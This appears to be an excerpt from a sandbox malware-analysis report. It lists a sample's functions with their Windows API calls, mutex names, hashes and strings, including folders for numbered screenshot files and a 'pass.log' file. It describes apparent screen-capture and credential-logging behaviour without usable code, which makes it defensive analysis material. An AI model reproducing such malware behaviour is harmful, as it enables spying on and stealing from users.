                                                                                                                                                                                                                      Function 0270C6F0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 111sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270C717
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270C765
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270C771
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270C775
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270C786
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270C78D
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 0270C7C0
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270C7CF
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270C7D5
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270C7D9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270C7EA
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270C7F1
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 0270C81F
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 0270C835
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLastPath$#680BackslashCreateDirectoryFolderMakeSystem$Sleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$26EE256C$scrs
                                                                                                                                                                                                                      • API String ID: 161959730-1334170924
                                                                                                                                                                                                                      • Opcode ID: 95c6f72814c2e11ccc69d54c72e95a3335f5b905b8b3651d2fadabfc68543b1f
                                                                                                                                                                                                                      • Instruction ID: 7583ea93d869c642c2b5c5f56e434fc58ad360e2e7cfcbc55f5fc90adb3ec649
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 95c6f72814c2e11ccc69d54c72e95a3335f5b905b8b3651d2fadabfc68543b1f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0E313B759402198BDB229B749CC8BEB77E8FF4D705F848699EA85D3140DBB0D548CBA0
                                                                                                                                                                                                                      Function 0270F2D0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 109sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2440), ref: 0270F2F7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270F33B
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270F347
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270F34B
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270F35C
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270F363
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 0270F390
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270F39F
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270F3A5
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270F3A9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270F3BA
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270F3C1
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 0270F3EF
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 0270F405
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLastPath$#680BackslashCreateDirectoryFolderMakeSystem$Sleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$26EE2440$scrs
                                                                                                                                                                                                                      • API String ID: 161959730-2567355380
                                                                                                                                                                                                                      • Opcode ID: 2e797176c5f110601261e75d9ba3d8b36cb59f67fe8a4b782af702ced568af8c
                                                                                                                                                                                                                      • Instruction ID: 7e6189b2f4d8f6ee20a92e80902045cbad4aca99c6a68a23178646c80c06b83b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2e797176c5f110601261e75d9ba3d8b36cb59f67fe8a4b782af702ced568af8c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B1314D719442198BCB20DB749C98BEBB7E8FF59315F458894E985D3140DFB0D988CBA1
                                                                                                                                                                                                                      Function 02711F50 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 118synchronizationsleepfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2120), ref: 02711F97
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02711FD7
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02711FE1
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02711FE9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02711FFA
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02712001
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0271203B
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 02712048
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214},?,?), ref: 02712067
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214},00000006), ref: 02712084
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0271208B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0271209D
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027120AE
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateErrorFileHandleLastMutexPath$#680AttributesBackslashCloseDeleteDirectoryFolderInformationMakeReleaseSleepSystem
                                                                                                                                                                                                                      • String ID: 26ee2120$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$pass.log
                                                                                                                                                                                                                      • API String ID: 1171640528-4231939149
                                                                                                                                                                                                                      • Opcode ID: eab3da5ec1daee62ee96b5f15159114ba5209dc1276c020888621bee46150d35
                                                                                                                                                                                                                      • Instruction ID: eda43db239f8d16a47f63ad64afa60dc33dbda0083fc10d94e860917a05e09b6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eab3da5ec1daee62ee96b5f15159114ba5209dc1276c020888621bee46150d35
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC4133709452199BDB219B38E858BEB7BF8FF48306F508594FD89D7240DFB08A54CBA0
                                                                                                                                                                                                                      Function 02711F78 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 110synchronizationsleepfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2120), ref: 02711F97
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02711FD7
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02711FE1
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02711FE9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02711FFA
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02712001
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0271203B
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 02712048
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214},?,?), ref: 02712067
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214},00000006), ref: 02712084
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0271208B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0271209D
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027120AE
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateErrorFileHandleLastMutexPath$#680AttributesBackslashCloseDeleteDirectoryFolderInformationMakeReleaseSleepSystem
                                                                                                                                                                                                                      • String ID: 26ee2120$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$pass.log
                                                                                                                                                                                                                      • API String ID: 1171640528-4231939149
                                                                                                                                                                                                                      • Opcode ID: 8f574c694701b1190b8806c6feb5a9af378d79ddb712c59bcdf1ebc7981507ac
                                                                                                                                                                                                                      • Instruction ID: 5f4814b242817bced25bd9b77176efcf9fb79478d1a7b47c7b52969795908c70
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8f574c694701b1190b8806c6feb5a9af378d79ddb712c59bcdf1ebc7981507ac
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 113121719452199BDB218B38E858BEBBBB8FF49306F54C584FD89D7240DF708A54CBA0
                                                                                                                                                                                                                      Function 02711320 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2620), ref: 02711347
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02711389
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02711395
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02711399
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 027113AA
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 027113B1
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 027113E2
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027113E8
                                                                                                                                                                                                                      • #680.SHELL32 ref: 027113EC
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 027113FD
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02711404
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 02711432
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 02711448
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$Path$#680CreateDirectoryFolderMakeSystem$BackslashSleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$26EE2620$scrs
                                                                                                                                                                                                                      • API String ID: 3389723127-3102968243
                                                                                                                                                                                                                      • Opcode ID: 4d6fc2fb2ea7facf5521049ff5c28ec74c1c98a83abfbd70f1129b73fb1eb686
                                                                                                                                                                                                                      • Instruction ID: 087c722ab0855cc3bb69284ddae68d89c9e6a366d8f496a2846be6a32f5907c6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4d6fc2fb2ea7facf5521049ff5c28ec74c1c98a83abfbd70f1129b73fb1eb686
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 00313B319442194BDB11DB789C58BEBBBE8FF59705FC58494EA89D7100DFB0D984CBA0
                                                                                                                                                                                                                      Function 02712390 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2120), ref: 027123B7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 027123F9
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02712405
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02712409
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271241A
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02712421
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02712452
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02712458
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0271245C
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271246D
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02712474
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 027124A2
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 027124B8
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$Path$#680CreateDirectoryFolderMakeSystem$BackslashSleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$26ee2120$scrs
                                                                                                                                                                                                                      • API String ID: 3389723127-2079788205
                                                                                                                                                                                                                      • Opcode ID: 50adfdd219d247680846ab068319f5b6625e8b9c315c6155f7d8dced3fd05978
                                                                                                                                                                                                                      • Instruction ID: e1901ab8ff448bcec252451b35653452fb73f80814d68e15d09ef6629a1581f5
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 50adfdd219d247680846ab068319f5b6625e8b9c315c6155f7d8dced3fd05978
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DB3177319442294BCB10DB78AC48BEBBBE8FF59305F848494ED85D3201DFB0D884CBA0
                                                                                                                                                                                                                      Function 02713080 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 027130A7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 027130E9
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027130F5
                                                                                                                                                                                                                      • #680.SHELL32 ref: 027130F9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271310A
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02713111
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02713142
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02713148
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0271314C
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271315D
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02713164
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 02713192
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 027131A8
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$Path$#680CreateDirectoryFolderMakeSystem$BackslashSleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$26EE2192$scrs
                                                                                                                                                                                                                      • API String ID: 3389723127-4260984155
                                                                                                                                                                                                                      • Opcode ID: 356cb543cdc641a99a4daab567bf64fdad52a9eec7b2b2ed50d93b1d0b4bee60
                                                                                                                                                                                                                      • Instruction ID: b6c96b336a2b2112901e359f29009b5438a229dcb6d48046c74f9cc6fd6a9d77
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 356cb543cdc641a99a4daab567bf64fdad52a9eec7b2b2ed50d93b1d0b4bee60
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E5313871D442184BDB11DB789C58BEBBBE8BF49301F8588D4E985D3100DFB0D984CBA0
                                                                                                                                                                                                                      Function 0270B740 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2538), ref: 0270B76A
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270B7AC
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270B7B8
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270B7BC
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270B7CD
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270B7D4
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270B803
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270B809
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270B80D
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270B81E
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270B825
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 0270B85A
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 0270B870
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$Path$#680CreateDirectoryFolderMakeSystem$BackslashSleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$26ee2538$scrs
                                                                                                                                                                                                                      • API String ID: 3389723127-3046738830
                                                                                                                                                                                                                      • Opcode ID: c3ee8f9d803c4d26f2a1df62d7f10c46913e73e682a45099b624d41149ea2ad3
                                                                                                                                                                                                                      • Instruction ID: d5a7dee6d4ff70cb0390f23a57bab8b6b56f16565376f45552e38f727fcb7265
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c3ee8f9d803c4d26f2a1df62d7f10c46913e73e682a45099b624d41149ea2ad3
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F9314E719002198BDB10DB749CD8BEB77E4FF49309F859495EA85D3140DBB0DA48CBE0
                                                                                                                                                                                                                      Function 02710E20 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02710E3C
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 02710E52
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02710E60
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 02710E69
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02710E87
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02710E95
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02710CE0,00000000,00000000,00000000), ref: 02710EAA
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40), ref: 02710EBB
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02710EC0
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02710ED4
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02710EE2
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee24ba), ref: 02710EED
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee24ba,INIST), ref: 02710F07
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                                      • String ID: 26ee24ba$INIST$Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}
                                                                                                                                                                                                                      • API String ID: 2736094147-3008388165
                                                                                                                                                                                                                      • Opcode ID: e9017da63d464cb9dcd09159d2c2cba3e4a50afb84fd8075861fdd96c4e560db
                                                                                                                                                                                                                      • Instruction ID: 4ff8fe32599afca3b73baa79d4bd2c0f0d545cfd0bf45428a2fc035d28854417
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e9017da63d464cb9dcd09159d2c2cba3e4a50afb84fd8075861fdd96c4e560db
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9D210B72AD63157BF321A7699C0BF5F7794AF48B26F408604FD54B61C08BB098048AA6
                                                                                                                                                                                                                      Function 0270F6A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 0270F6BC
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270F6D2
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 0270F6E0
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270F6E9
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270F707
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270F715
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270F2D0,00000000,00000000,00000000), ref: 0270F72A
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40), ref: 0270F73B
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0270F740
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270F754
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270F762
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2440), ref: 0270F76D
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE2440,FAKTURA), ref: 0270F787
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
